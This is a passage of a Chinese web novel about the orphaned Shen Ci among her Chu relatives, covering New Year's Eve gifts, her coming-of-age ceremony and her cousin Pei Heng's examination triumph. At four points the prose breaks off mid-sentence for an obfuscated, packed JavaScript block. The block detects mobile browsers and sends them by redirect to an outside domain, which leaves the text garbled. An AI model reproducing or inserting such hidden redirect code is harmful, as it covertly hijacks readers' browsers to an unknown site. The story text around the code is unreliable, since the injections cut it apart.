楚景澄回来路上还想着要以表哥为榜样回去之后温书,结果脚还没踏进书房,就听见妹妹的召唤。 他兀自纠结了一会儿,只觉得要念书也不差这么一时,想明白后便毫无心里负担的同妹妹一道去了厨房。 年夜饭是摆在福寿堂的,众人热热闹闹的围坐在一块儿用膳。 晚膳过后,楚老夫人留他们一块儿守岁。 沈瓷坐在外祖母的身边,听表哥和表姐一块儿说话,几个孙儿们有心要哄老祖母开心,一个接着一个的说着金陵城中的热闹事。 也正是赶巧,他们说话的时候,康嬷嬷过来禀告说是楚老太爷和府上大爷给家中小辈准备的礼物送来了。 一堆的东西全送来了福寿堂,堆在康嬷嬷早早准备好的小几上头。 沈瓷见姐姐妹妹和表哥们都都不惊讶,显然是早就料到的,她便知晓从前就是如此。 楚老太爷和侯爷人虽不在金陵,可从未忘记过家中的几个孩子,他们早早就备好了礼物,只是路远,才会刚刚送到。 “阿瓷,我们去看看有什么。” 沈瓷尚未反应过来,就被表姐牵着手走了过去,她的神情还有一些茫然,下意识的想要远离。 她并不确定这些里头会不会有自己的,这么冒冒然的跑过来,若是没有,岂不是会很尴尬? 好在她的这些想法都是多余的,外祖父和大舅舅也准备了她的礼物,不仅如此,还有压岁钱。 沈瓷的前头有一堆的盒子,都是楚映梦和楚思怡帮着一块儿找出来的。 “这么…多吗?”沈瓷有些惊讶,“会不会弄错了?” “怎么会?上头都是写好名字的,有祖父送的,还有伯父和伯母送的。” 礼物是一份份写了名字送回来的,不会出现混淆的情况,只是今年多了沈瓷的,他们瞧见那么一大堆东西的时候,心中就已经有了数。 沈瓷收到了不少的东西,楚家疼姑娘,楚映梦和楚思怡往年收到的东西都不少,楚老太爷没能见着女儿女婿最后一面,心中很是难受,这一腔愧疚便全部补偿在沈瓷的身上,比起两个孙女来只多不少。 她尚不知拿这些盒子怎么办,楚思怡已经开始拆盒子,瞧见不喜欢的拨弄到一边,看见喜欢的就拿出来细细的看,“姐姐,是我喜欢的珊瑚珠。” “你去年说了那么久,祖父肯定记得。” 楚映梦虽是在安慰妹妹,但她所有的注意力都在自己的礼物上,没有空去看妹妹如何。 二人都拿到了自己喜欢的东西,便去看沈瓷的,这一看不得了,阿瓷正呆呆的看着盒子,半点都没有要动手的意思。 姐妹俩看了很是着急,“阿瓷,快些拆开看看里头是什么。” 楚思怡的声音很兴奋,只恨不得动手帮忙,沈瓷却是抬眸观察了一番,表姐表妹的眼中是满满的兴奋,脸上都只有好奇,并没有任何的不悦。 就连大表哥和二表哥也是如此,每一双眼睛里都是期待,她定了定神才决定拆开盒子。 里头五花八门放了许多的东西,首饰,珠钗,胭脂水粉,看的人眼花缭乱。 沈瓷尚未及笄,珠钗其实用不上,但楚老太爷不知沈瓷喜欢什么,索性瞧见好的统统都给外孙女搜罗过来。 故而里头琳琅满目。 沈瓷在众人的注视下将这些盒子全部都打开,除了些耳熟能详的里头还有许多从未见过的玩意,楚映梦和楚思怡也很好奇,但姐妹俩很有分寸,开口询问沈瓷的意见。 “阿瓷,这个我们能看一看吗?” 沈瓷见状直接将盒子拿了起来,递到她们俩面前。 楚思怡和楚映梦小心翼翼的将里头的玩具取了出来,“以前没见过。” “这个东西要怎么玩?” “大哥二哥,一起过来看看。”楚思怡招呼人过来,一时间所有人都围了过来,对着那玩具愁眉不展。 “这个东西到底是怎么玩的?阿瓷你见过没?” 几人自然而然的拉着沈瓷一块儿讨论,这怪模怪样的东西,沈瓷也没见过,哥哥姐姐们问她,她就只是摇头。 “我也不太清楚。” 几人就着那玩具在研究着。 其余的许多事也都顾不得,一个个拿着那玩具摆弄,横竖大家都不清楚是什么,弄错了也并不丢人。 一时间福寿堂都是说话的声音,甚至都顾不得哄老祖母开心,惹得楚老夫人哭笑不得。 楚老夫人和裴氏瞧着他们这般和睦,心中满是安慰。 “娘,您可是累了?要不要先歇一会儿?”裴氏担心婆婆劳累,忍不住开口劝说,楚老夫人上了年纪,这么生生熬着很是伤元气。 只是老太太今日高兴,没想那么快歇着,何况她担心沈瓷,总要亲眼看着她才能放心,“老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656116|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二不是弄来了不少烟花?一会儿瞧瞧究竟好不好看。” 楚老夫人找了一个借口,裴氏明白老太太的心思,半点都没有拆穿,只是顺着她的话往下说,“那一会儿就瞧一瞧这烟火到底有没有说的那么神奇。” 楚老夫人微微颔首,满目慈爱的看着她的孙儿们,几人兴奋半点不减,直到楚老夫人招呼他们一块儿用甜点,他们才意犹未尽。 只是讨论的声儿一直没停下,今日高兴裴氏也不愿用规矩束缚着他们。 甜品是厨房新送来的,沈瓷不算太饿,只是稍微尝了一口,楚景澄恰好坐在她的身边,见她没怎么动还以为她是不喜欢,“嗳?阿瓷你不喜欢吗?” “…什么?”沈瓷有些疑惑的看向二表哥。 “思怡特意去厨房交代厨娘做的,她说是你爱吃的。”楚景澄完全不知有些话说出来会令人尴尬,就这么直白的说了出来。 沈瓷愣住了,看向了表妹。 楚思怡原本开开心心的同大哥说话,咋一听见这话什么都还没反应过来,又看见所有人都往她这边看过来。 她不知要作何反应,脸唰的一下全红了,只感觉到周身的温度渐渐升起,而罪魁祸首却毫无所觉,甚至还去问楚思怡,“思怡,是你说的吧。” 楚思怡:“……” 这个二哥,可不可以不认了? 而沈瓷整个人都愣住了,她怔怔的看向表妹,并不知道这里头的善意,下意识的舀起甜品,原本就很甜的吃食,这会儿只觉得愈发的甜,一直甜到她的心中。 她悄悄的掩去快要掉落的泪水,很认真很认真的回答二表哥,“我方才不怎么饿,这个甜点,我喜欢的。” 从前就很喜欢,如今更加喜欢了。 楚景澄看不懂沈瓷眼中的感动,他只是弄明白了意见先前没弄明白的事,兴奋的告诉楚思怡,“你说的没错,阿瓷真的喜欢。” 楚思怡:“……” 她气呼呼的瞪着楚景澄,凶巴巴道:“你好啰嗦。” 楚景澄全然不知自己做了什么,见妹妹凶自己还有些奇怪,“马上就大一岁了,你怎么还愈发的阴晴不定?” 楚思怡,楚思怡已经不想说话,她气呼呼的咬着勺子,气不过的踩了二哥一脚。 沈瓷看着他们兄妹笑闹,笑容不知不觉的在脸上浮现,失去父母的第一个除夕,沈瓷本以为会非常非常的难熬,可时间却不知不觉的过去了大半。 原来,并没有她想象中的那么难受。 她想,真好。 以后,也会越来越好的。 13.第13章 二年后,忠毅伯爵府。 又是一年腊八,沈瓷在翠虹阁临窗而坐,绣着一条抹额,这是她给外祖母准备的,上头绣着松鹤延年的花样,抹额已经绣好大半,临近收尾。 “表姐,表姐。”外头传来楚思怡清脆的声音,人未到,声先至。 沈瓷立刻放下手中的东西,想要出去迎她,谁知还没动身,楚思怡就先窜了进来,熟门熟路的找了地方坐,“秋叶,去沏茶来。” 秋叶给楚思怡请了安,就去外头准备茶水。 那年开春后,裴氏命人收拾好翠虹阁让沈瓷搬了过来,距今已经有近两年的时间,楚映梦和楚思怡都有自己的院子,翠虹阁距离二人的院落都相近,三人相当于住在一处。 对此姐妹俩非常的满意。 楚映梦和楚思怡时常会来翠虹阁找沈瓷,有的时候就会赖着和沈瓷一块儿住。 “从哪儿过来?怎么这般着急?弄得一头汗。”沈瓷放下手中的抹额,拿起一旁的帕子给楚思怡擦汗,这寒冬腊月的跑的一头汗她都担心楚思怡着凉。 楚思怡没乱动,乖乖的扬起脸任由沈瓷给她擦汗。 若是裴氏瞧见这一幕只怕又要感慨,她时常觉得楚思怡性子跳脱,偏偏在沈瓷的面前乖乖巧巧,咋一看是判若两人。 “从祖母院子里过来,我听见她和母亲商议花朝节的时候要给表姐你办及笄宴。” 楚思怡兴奋的开口说话。 “我还听祖母说,今岁除夕祖父也会回来。” 这才是楚思怡兴奋的根本原因。 祖父回来就意味着她们可以收到不少的礼物,还能有多一份月钱。 沈瓷听见这话时,手微不可闻的抖了抖,差点儿拿不住手中的帕子。 十五女及笄,那是人生大事。 这几年,外祖母和舅舅舅母对她照顾有加,她的吃穿用度和表姐表妹一样,舅母从不曾区别对待,外祖母更因为母亲的关系,对她有所偏爱,常常下赐许多东西。 更担心她没有银钱傍身,除了每月的月例,还总让康嬷嬷给她送银两,这些事没避着舅母,舅母一直都知晓。 即便如此,沈瓷的心中还是惴惴不安,伯爵府很好,外祖母和舅舅舅母也好,兄弟姊妹们也各个都好。 可这里再好,也不是沈瓷的家。 她并不能因为外祖母和舅母的慈爱,就看不准自己的位置。 “我也许多年没有见过外祖父了。”沈瓷轻声说道,见楚思怡额上已经没了汗,就将手中的帕子收了起来。 满心惆怅。 “不知道外祖父这一回会给我们带回来什么。” “姐姐及笄的时候,大哥二哥还有表哥给她送了很多簪子,表姐你喜欢什么样的,让大哥和二哥送你。”楚思怡小孩子心态,满脑子想的都是礼物,及笄宴对于楚思怡而言,代表着可以收到各种各样的漂亮簪子。 没有哪个姑娘家是不喜欢的。 “或是别的首饰也都成,他们还有压岁钱呢。” 沈瓷听到这儿成功的被楚思怡给逗笑,“我没有什么缺的,簪子外祖母和舅母会准备的。” 楚思怡很激动,但沈瓷却办不到激动。 前路漫漫,她尚不知未来会如何,及笄之后,三年的孝期也就过了,她应当很快就要定下婚约。 两年前她沉浸在悲伤当中,彼时她压根不觉得成安伯府来退婚是什么很要紧的事,可沈瓷如今却开始思考她要找一个怎样的人家。 “表姐,今日腊八,我们出去玩吧。”楚思怡的确是来和沈瓷说及笄礼的事儿,但她心中最要紧的还是要出去玩。 “听说成佛寺前头都在派送腊八粥,还是在佛前开过光的。” 楚思怡想起一出是一出,沈瓷又素来疼她,听她这般说还真的开始思索陪她出去一趟。 就在她要去答应的时候楚映梦赶了过来,恰巧听见后半句,她无奈的揉了揉额头,拦住了沈瓷的话,“阿瓷你别听她的,成佛寺的确在派送腊八粥,可你也不瞧瞧,这会儿都是什么时候了?这腊八粥早已经领完,哪里还轮得到你?” 楚映梦像是刚从外头回来,身上还罩着红艳艳的斗篷,她顺手解下斗篷递给冬竹,走到沈瓷的跟前坐下。 沈瓷抬起眼看向表姐,表姐比她大两岁,于去岁办了及笄礼,改了发型的样式,漂亮的发簪簪在她的发髻间,显得温婉又明媚。 沈瓷怕她冷就将手炉递了过去,楚映梦欣喜的接过,眼睛都亮了起来,“好阿瓷,还是你想着我。” 楚思怡瞧见表姐和姐姐之间的互动,着实有些不满,“表姐,方才我过来的时候,你怎么不给我手炉?你是不是更偏心姐姐?” 这话说的很没有道理,楚思怡过来时额头上还有着密密的细汗,沈瓷如何能递手炉给她? “你来的时候满头的汗,怎么好再给你手炉的?” 沈瓷将方才的帕子拿出来递给她看,“这上头的汗是谁的?” 楚思怡这才勉勉强强的相信自己是被表姐偏爱的。 楚映梦先前还和她争执一番,如今都懒得多说,这会儿是要找沈瓷出去玩的,“阿瓷马上就要及笄,到时候可有许多漂亮的簪子可以戴,我们去看看首饰。” “好呀好呀,姐姐,我也要去。” 沈瓷还没说话,楚思怡就先开了口,她能屈能伸,先前还同姐姐闹别扭,这会儿又腻腻歪歪的缠了上来。 “成,成,带你带你。”楚映梦三言两语就把人给打发了。 只是认真的看着沈瓷。 沈瓷有些犹豫,“还来得及,还没有及笄呢。” “这可不成,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673825|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道有些首饰可是过了这村没有这店的。” 楚映梦好说歹说终于说动沈瓷一块儿出去,只是她有自己的固执,非要将手中的抹额做完才肯出门。 楚映梦和楚思怡也知沈瓷脾性,虽然温温柔柔,但坚持的事情并不是那么容易改变的,姐妹俩就在一旁帮忙分线,力求能够早一些出门。 * 麓山书院,内院。 裴珩正在写文章,等他写完最后一个字抬起头来才瞧见楚修筠和楚景澄正安静的等在一旁。 自从秋闱过后,他已经极少见着这俩人这般模样,显然是有事和他说,裴珩搁下笔淡淡道:“做什么?” “表哥,我和大哥要去珍宝斋选簪子,你要不要同我们一起去?” 裴珩听见这话,只觉得有些奇怪,“珍宝斋,选簪子?” “对。”楚景澄摸了摸下巴,对裴珩也没有任何隐瞒,“表妹明年就要及笄,我和大哥就商量着要给她选一些簪子。” “听说珍宝斋的首饰最漂亮,所以我们要去看看。” “嗯。”裴珩淡淡的应了一声,他一直都知晓二人口中的表妹是谁,这些年也听到过很多回。 只是阴差阳错从未见过面。 何况他们本也没什么交集,故而裴珩想也没想的拒绝这个提议,“我还要回府温书,你们选完了东西也早些回去,今日腊八姑母定盼着你们早早回府。” “是。” “是。” 二人点头应下,同裴珩一块儿出了书院,各自登上马车分道扬镳之后,楚景澄有些疑惑的看着哥哥,“先前映梦及笄时,表哥不也送了映梦簪子吗?怎么到阿瓷这儿就拒绝了?” “那是因为…”楚修筠方才就想要拦着弟弟去问,但实在拦不住人。 他刚想要开口解释,就听见楚景澄嘀嘀咕咕的自圆其说,“难道表哥对阿瓷有什么成见?阿瓷这么好。” 楚修筠:“……” 他无奈的叹了一口气,也不知到底要不要和弟弟解释清楚,表哥送映梦簪子是因为映梦是他的亲表妹。 可阿瓷,只是他们的表妹,和表哥一点儿关系都没有。 表哥为何要多此一举? 其中缘由楚修筠清楚,但楚景澄却没有想的那么细。 是因为他真心诚意的将沈瓷当亲妹妹对待,在他眼中阿瓷和映梦思怡并没有什么区别。 就如同他一样,即便他只是景澄的堂哥,可在景澄心中,他就是亲哥哥。 思及此,楚修筠的心骤然软了起来,不忍将事情说的太明白,轻声笑着,“对,阿瓷那么好,表哥对她有成见,日后肯定会后悔的。” 楚修筠本意不过想哄一哄弟弟,谁知一语成谶。 这件事,在日后的确成了裴珩一想起来就会后悔的事。 14.第14章 二月十二,花朝节。 忠毅伯府一早就很热闹,裴氏带着楚映梦一块儿站在外头迎客,楚修筠和楚景澄因为刚刚结束春闱,在家中歇着。 但今日这样的日子,他们也办不到事不关己,也早早的起来帮忙。 外头热热闹闹的,欢声笑语透过窗户尽数传到沈瓷的耳朵里。 她披着发,看着铜镜里的自己着实有一些不习惯。 时间过得很快,和表姐讨论及笄尚早的场景仿佛就在昨日,可一转眼,这一日已经到来。 秋叶站在她的身后,将长发一点点的梳顺。 桌上放着许多小匣子,里头尽数是发簪和步摇,还有各种各样的首饰,有表姐和表妹送的,也有两位表哥买的。 还有一些是外祖母和舅母送过来的。 就连尚未回到金陵的外祖父和大舅舅也有送来。 “姑娘,您更喜欢哪一个?”秋叶和冬竹看着琳琅满目的簪子一时间也犯了难,想要从中选出一支,可各个都好看,她们的眼睛都要看花了。 “外祖母说她有另外准备。”沈瓷轻声说道,她原本也是打算在这些里头选的,但外祖母早就派康嬷嬷过来告诉她。 宴上用的簪子,会单独准备,不用她操心。 沈瓷便没有再去关注这些。 “老夫人疼姑娘。”秋叶和冬竹的声音里满是欣喜,当初从平江来金陵,她们其实也心有忐忑,实在是没敢奢望会是这般。 “奴婢现在只盼望着二夫人可以给姑娘找一个好夫家。” “夫婿难觅,先前我们夫人不也给姑娘选了人家,但谁知道…”冬竹的声音多少有些悲观。 “呸呸呸,这大喜的日子,说什么晦气的事儿呢。”秋叶原本喜悦的脸色一下子拉□□来,明明已经过去三年,可一提到成安伯府,她依旧是一副厌恶的模样。 二人小声的交谈着,沈瓷虽未说话,可还是将这些听在耳里,的确,夫婿难觅,谁又能知晓那人究竟如何? 夫妻之间,微妙难见。如人饮水,冷暖自知,不可向人说也。 沈瓷正在想入非非间,外头传来了张嬷嬷的声音,“沈姑娘,时辰到了,夫人让奴婢带您过去。” “就来。”沈瓷赶忙应道,收回了那些不着边际的想法,跟着张嬷嬷一道出门。 沈瓷虽是忠毅伯府的表姑娘,但这一回的及笄宴,裴氏还是办的很隆重,特意请来自己母亲替沈瓷结发,贯笄。 同楚映梦是一样的待遇。 将来楚思怡及笄,也是一样的。 这是沈瓷头一回见表姐的外祖母,是一个和她外祖母一样慈祥的老妇人。 沈瓷的面前有一面铜镜,她看着自己的长发被一点一点的挽起,和从前全然不同的装扮和模样,有一些陌生,也有一些熟悉。 依稀还有着从前的影子。 及笄礼来了很多人,沈瓷都不怎么认识,只是每个人都看在忠毅伯府的面子上对她很是和善。 甚至还有不少同她年纪相仿的姑娘过来同她说话。 亲亲热热的,看着很是熟络。 但沈瓷知道她们这么做的原因,面对她们的示好,也只是浅浅的笑了笑。 “沈姑娘,过几日我们府上要举办赏花宴,你和楚二姑娘、三姑娘一起来玩。” 热情的声音在沈瓷的身边响起,她定了定神,看清了身边姑娘的模样,却有些不记得她是谁。 沈瓷正在犹豫,楚思怡的声音传了过来,“既是要请我们去,那就下了帖子来。” “三姑娘说的是。”对方因为楚思怡的话很是欣喜,当即表示回府之后就会送来拜帖。 楚思怡大大方方的应下。 那姑娘心满意足的走了,直到她离开后沈瓷才知道那是礼部侍郎府上的姑娘。 “怪我不好,若是早早的知道她是谁,也能早些拒绝。”沈瓷的声音里很是歉疚。 楚思怡倒是半点不在乎,“开春之后各家府上都有各种各样的宴会,从前是表姐你还在孝期,许多宴会去不得,何况你也不爱出门,母亲才不勉强,但如今不一样,娘说不能由着你不出门。” 裴氏是要借着宴会的机会,让沈瓷露脸。 而今日的及笄宴,则是告诉许多人,他们忠毅伯府永远都是沈瓷的后盾。 “这…”沈瓷也知舅母的心意,只是她已经许久没有去那些宴会,记忆中最近的哪一回,还是成安伯府的赏梅宴,虽说她并不觉得梅花有什么好看的。 她心中很是犹豫,并没想参加。 “等她们府上送来帖子,我们看了再说,保不齐我们那日就有事儿呢,这谁说得准?”楚思怡开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687005|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口说话,那是半点儿也不纠结,“母亲虽说要多出去走走,可表姐你若不想去,我们就不去。” 她说的欢快,不等沈瓷说话,就拉着沈瓷离开此处,“我们回去。” 今日大喜的日子,原本楚思怡是想要去福寿堂找祖母的,保不齐还能吃到些好吃的。 只是今日并不是时候。 楚老夫人今日亲眼看着沈瓷及笄,心中感慨万分。 虽是高兴,也是伤心,背过人去甚至都掉了泪。 宴会尚未结束,祖母就早早离席,他们都知道,祖母那是想姑姑,这样的时候,她们都不愿去打扰。 沈瓷和楚思怡回到翠虹阁,两人刚刚坐下还没来得及说话,没一会儿楚修筠和楚景澄也来了,他们不好到沈瓷的闺房,便在翠虹阁的堂屋处坐着。 沈瓷和楚思怡也只能出来。 于是楚思怡一会儿抱怨椅子太硬,一会儿又说大哥二哥跑来的不是时候,这几年楚修筠和楚景澄早就被妹妹嫌弃的不行,也早早就习惯。 半点没放在心上。 楚景澄被刺了几句也不甘示弱,嫌弃了回去。 众人坐在一处拌嘴,楚映梦气势汹汹的找了过来,“好啊,你们几个,偷偷跑来阿瓷这里居然不叫我。” 楚映梦陪着母亲送走宾客,累的手指头都不能动弹,刚坐下歇息竟发现身边没一个熟悉的人,一问才知晓全部都在翠虹阁。 楚映梦气呼呼的看着他们几个,就连沈瓷也没有放过,“连你也不想着我。” 楚映梦是姐姐,素来对沈瓷诸多维护,这还是头一回说这样的话,但沈瓷知道表姐不会真的生气,于是她走过去拉着楚映梦的手轻轻的晃了晃,“表姐别生气,我给你泡茶,你想喝什么?” 沈瓷一直都长得好看,如今及笄换了打扮,瞧着整个人都不一样了,眼若秋水,灵动非常。 让人根本移不开视线。 她的声音温温柔柔的,此番又是刻意讨好,实在是让人招架不住。 旁人如何尚不得知,可楚映梦是根本拒绝不了。 即便是假装生气都办不到,她扼腕,狠狠道:“那你明日得陪我出门。” “好。”沈瓷欢快的答应,笑容浅浅,眼眸中满是笑意,楚映梦满脑子只有四个字。 真真是,色令智昏! 15.第15章 忠毅伯府忙完沈瓷的及笄礼后,却没立刻闲下来,只因科举放榜日近在咫尺。 楚修筠和楚景澄今岁都下了场,更是侥幸在乡试中榜上有名,如今也能被人称呼一声“举人老爷”。 虽说有些轻狂,可对于兄弟二人而言,也是很值得骄傲的一件事。 二人今次也不过是来试一试水,能有这样的成就已经是心满意足,对于春闱倒是一点儿也不奢求。 春闱汇聚全国各地的举子,哪一个不是寒窗苦读,才学过人? 他们俩很有自知之明,之所以期待放榜日,是因为想知道表哥考的究竟如何,也想知道他们自己到底差在了哪儿。 裴氏也是如此,她对两个孩子的关心并不少,他二人能过了乡试已经让裴氏喜出望外,其余的就不会强求。 这些日子时常担心他们俩的心境,害怕他们会有失落总是时时夸赞着。 楚修筠和楚景澄难得有闲暇时候,还没来得及出门走走,就被楚思怡抓了壮丁,众人这一次依旧聚集在翠虹阁。 只因为这里的堂屋最大,可以容纳许多人。 楚景澄丈二和尚摸不着头脑,“你让我们来干什么?” “帮我们分线。”楚思怡毫不犹豫的说道,拿出了许多的丝线交给二哥,“过几日就要科举放榜,按照表哥的学问,一定会榜上有名的,说不定还是一甲前三。” 楚思怡对裴珩非常的有信心。 这信任实则有些盲目,偏偏在场的几人里,除了沈瓷皆是盲目的人。 个个都对裴珩信任非常。 “没错,若是一甲前三,就要打马游街,赶赴琼林宴。”楚映梦说起这些也很是着急,“这样算一算就没有多少时间了。” “这…又如何?”楚修筠呆呆的问道,也不怪他委屈,他当真不知缘由。 “我们要准备荷包,万一表哥打马游街时没有人给他送荷包,岂不是委屈?” 姐妹俩说的振振有词,楚修筠心说照着他们表哥那样的,怎么会没有人给送荷包? 只是他们兄弟俩虽然是这么想的,手里的动作却半点都没有停下,拿着一根丝线就开始问要怎么办。 “哎呀,就是分开嘛,二哥你怎么那么笨?” “我是举人!”楚景澄振振有词。 “举人老爷连劈丝都不会吗?” “你见过谁家的举人老爷要劈丝的?”楚景澄不满的抱怨,但丝线还是被塞到了手中,在这里举人老爷,也是要学会劈丝的。 至少,楚家的这两个已经学会。 绣荷包的人是楚映梦和楚思怡,沈瓷和永宁候世子并不熟悉,所以她也和表哥们一起分线,甚至还告诉表哥们这个丝线要怎么分。 至于荷包,她就不锈了。 * 二月甘二这一日,阳光明媚,是科举放榜的日子。 楚映梦一大早就拉着沈瓷和楚思怡出门,楚修筠和楚景澄也在一块儿,一行五人浩浩荡荡的占据了有利的位置。 张贴榜文的人还没有出现,周围人头攒动,三三两两的不知道在说些什么,目光在人群中睃巡,像是在物色着什么。 楚映梦和楚思怡很紧张,沈瓷其实也紧张,只是她的紧张是为了自家表哥。 好不容易等到张贴榜文的人出现,人群又开始拥挤起来,无论礼部官员怎么劝说,他们不肯相让,推推嚷嚷的全部都挤到了一起。 楚映梦牵着沈瓷,沈瓷拉着楚思怡,三人努力的挤到了前头,榜文很长一眼都看不到头。 其实这样长的榜文,一个从头开始找,另一个从后往前看是最快的。 只是她们三个都很有默契,相信哥哥们的实力,全部都从榜首开始看。 “中了,中了,世子中了。”人群中爆发了欣喜的声音,楚映梦认识说话的人,是永宁侯府的小厮,她想上前去问个究竟,但楚修筠两人比他更快。 楚映梦挤不过去便急急忙忙的抬头看,在榜首的位置上看到了裴珩的名字,“中了中了,阿瓷思怡,第一个,表哥是会元。” 她的声音不算轻,许多人都能够听得到,人群中爆发出一阵的恭喜声音,楚映梦和楚思怡下意识的找起裴珩的身影,却一直都没找这人,问了小厮才知晓裴珩根本就没有出现,在一旁的酒楼喝茶。 “我们去看看。”楚家兄弟异口同声,根本就顾不得他们自己的名次,说话间就要小厮带路,可小厮哪里敢就这么离开? 他的身上还带着任务呢。 “二位爷,世子特意交代过让奴才看了您二人的名次再去复命。” 小厮说话间就窜到了榜文前。 楚修筠:“……” 楚景澄:“……” 二人最终还是知晓了自己的名次,五十七名和六十九名,不算太差。 兄弟俩不约而同的松了一口气,想着一会儿应当是不用挨骂的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699947|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 金陵城热闹非凡,沈瓷也是回到府上才知晓那些一直等在不远处的人是在物色姑爷的人选。 俗称:榜下捉婿。 裴珩年少气盛,自然也不是不好奇自己的名次,只是他不喜这样的传统,故而早早的避开。 得知裴珩的名次之后,楚修筠就在酒楼定了个极好的位置,在二楼临窗而坐。 会试之后就是殿试,他们几人都很有信心裴珩会取得好名次,沈瓷虽不认识人,倒也佩服他的学识,暗暗期待着结果。 众人万分期待,裴珩也不负所望。 他不仅是一甲前三,更是大齐最年轻的状元郎。 科举放榜的那一日,永宁侯府的门槛几乎都要被踏破了,忠毅伯府内,裴氏也是喜不胜收。亲自给永宁侯府送了帖子。 楚修筠等人高兴的不得了,若非估计时辰只怕早就跑到永宁侯府亲自恭喜。 状元游街的那一日,沈瓷被拉着一同去了,她看到了纯粹的喜悦和快乐。 那一日打马游街,身着红衣的男子坐在高头大马之上,由远及近。 他尚未束冠,彼时还是少年模样。 身影清晰的映入每一个人的眼中,那日阳光正好。斑斓的光洒在裴珩的身上,耀眼非常,让人根本就移不开视线… 鲜衣怒马少年时,不负韶华行且知。 “裴世子,裴世子!” 此起彼伏的声音响起,朱雀街两旁的酒楼上全是来看三甲游街的姑娘,每个人的口中都唤着裴珩的名字。 楚映梦和楚思怡也不甘示弱,“表哥,表哥看这里。” 二人说着话就将手中的荷包扔了过去。 裴珩自然听见了她们俩的声音,缓缓抬眸看见了熟悉的身影,荷包精准的落于裴珩身前,因着是表妹送的,裴珩倒是好好的收了起来。 沈瓷亲眼看着裴铮从自己的眼前经过。 她很安静,什么话都没有说,仿佛那不过是一个很平常的日子,她见到了一个不平凡的人,仅此而已。 直到很久很久之后,裴珩有一日问起自己的夫人,当日状元游街,她见着他的第一眼,到底在想什么。 “风华内敛,当世无双。” 沈瓷本以为自己是不记得的。 但当裴珩问起时,她才发现自己一直都记得。 就像是书中描绘的人有了具体的模样,并且没有人可以替代。 16.第16章 阳春三月,百花齐放。 张贴皇榜的那一日,永宁侯府门庭若市,永宁候夫人从那日开始便陆陆续续收了不少的帖子,有来打探消息的,也有过来恭喜的。 裴夫人收到那些帖子时,心中同明镜似得,裴珩尚未考取功名之前,就有不少人来打听消息,如今更甚。 金陵世家大多知根知底,家中是什么情况也都明白,大家心照不宣,皆是默契。 “娘亲,您在看什么?”裴姝从住处过来正院,一进门就看见母亲看着面前的帖子含笑,她忍不住的问出声来。 “姝儿来。”裴夫人招呼着女儿到自己的跟前,同她说起这些都是请她们去参加宴会的帖子。 “怎么那么多?往年的赏花宴,也没有那么多的。”裴姝稍稍的数了数,发现了十几家的帖子,这若是每天逛过去也要大半个月。 “自然不全是因为赏花宴,你哥哥的年纪也不小了,今年他就要行冠礼,如今也有功名傍身,是时候可以选个好人家结亲。 裴姝听到这儿便明白这些帖子的意义。 原是如此。 “母亲可有觉得哪一家的好?”裴姝听见这些并未有什么诧异,毕竟他们这样的人家都是要这样过的,哥哥如此,将来轮到她也是如此。 “夫人们不过是有这么个意思,许多事也要见面才能知晓。”裴夫人笑着开口,“何况你哥哥他是个有主意的人,这婚姻大事虽说父母之命媒妁之言,可他若是不点头,又有谁能够做他的主?” 毕竟结亲也不是结仇,总要选一户家世门第都过得去,也家风严谨的。 裴姝想到此处也轻轻点头。 她坐在母亲的身边,将那些帖子看了看,在里头发现了姑母的帖子,遂而从中挑了出来,“娘亲,这是姑姑送来的?” 裴夫人先前没有瞧见,瞧见这帖子之后,从裴姝手中将其抽出翻看起来。 裴氏盛情相邀的人是裴珩。 但裴夫人其实知晓裴氏的心思,彼此之间都是有默契的,楚映梦今年十七,却尚未定亲。 小姑先前也流露过这个意思,只是当时两个孩子都不大,许多事并未明说。 如今小姑递过来橄榄枝,裴夫人自然也要有所表示。 裴夫人也喜欢这个外甥女,知根知底,家世相当,何况映梦端庄贤淑,是金陵人人夸赞的姑娘。 若真的能够成其好事,自然是最好的。 